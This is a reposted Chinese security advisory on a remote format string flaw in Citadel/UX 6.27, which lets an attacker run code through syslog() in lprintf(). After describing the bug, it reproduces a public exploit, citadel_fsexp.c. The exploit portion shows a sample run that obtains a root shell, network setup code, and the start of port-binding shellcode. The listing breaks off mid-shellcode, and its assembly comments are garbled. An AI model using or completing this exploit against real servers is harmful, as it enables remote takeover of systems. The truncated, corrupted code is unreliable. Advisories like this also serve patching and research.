Citadel/UX远程格式串漏洞
2008-04-09 04:20:33来源:互联网 阅读 ()
发布日期:2004-12-13
更新日期:2004-12-14
受影响系统:
Citadel/UX Citadel/UX 6.27描述:
Citadel/UX是一款开放源代码的BBS程序,使用在Linux、BSD、Solaris和其他Unix系统平台上,最近的Citadel/UX版本包含对Email的支持,可以通过POP3、IMAP、SMTP进行通信。
Citadel/UX的sysdep.c中的lprintf()函数存在格式串问题,远程攻击者可以利用这个漏洞进行拒绝服务攻击或以进程权限执行任意指令。
问题存在于sysdep.c中的lprintf()函数中,当不正确参数传递给syslog()函数时可导致拒绝服务,精心构建提交数据可以以进程权限执行任意指令。其中问题代码如下:
---------- sysdep.c ----------
108: void lprintf(enum LogLevel loglevel, const char *format, ...) {
109: va_list arg_ptr;
110: char buf[SIZ];
111:
112: va_start(arg_ptr, format);
113: vsnprintf(buf, sizeof(buf), format, arg_ptr);
114: va_end(arg_ptr);
115:
116: if (syslog_facility >= 0) {
117: if (loglevel <= verbosity) {
118: /* Hackery -IO */
119: if (CC && CC->cs_pid) {
120: memmove(buf 6, buf, sizeof(buf) - 6);
121: snprintf(buf, 6, "[=]", CC->cs_pid);
122: buf[5] = ' ';
123: }
124: syslog(loglevel, buf); // <-- the format bug
125: }
126: }
---------- sysdep.c ----------
<*来源:CoKi (coki@nosystem.com.ar)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110295469430696&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* citadel_fsexp.c
*
* Citadel/UX v6.27 remote format string exploit
*
* Use: ./citadel_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -t <arg> type of target system
* -l targets list
* -g <arg> syslog GOT address
* -r <arg> RET address
*
* coki@nosystem:~/audit$ ./citadel_fsexp -h localhost -t0
*
* Citadel/UX v6.27 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] host : localhost
* [*] system : Slackware Linux 10.0
* [*] syslog GOT address : 0x0809e9e8
* [*] RET address : 0xbfffd5fa
*
* [ ] verifying host... OK
* [ ] conecting... OK
* [ ] building exploit... OK
* [ ] sending exploit... OK
*
* [ ] waiting for shell...
* [ ] connecting to shell... OK
*
* [!] you have a shell :)
*
* Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* Tested in Slackware 10.0
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl 陎,陎
"\x50" // pushl 陎
"\x40" // incl 陎
"\x89\xc3" // movl 陎,離
"\x50" // pushl 陎
"\x40" // incl 陎
"\x50" // pushl 陎
"\x89\xe1" // movl %esp,靫
"\xb0\x66" // movb $0x66,%al
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
上一篇:phpMyAdmin多个安全漏洞
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash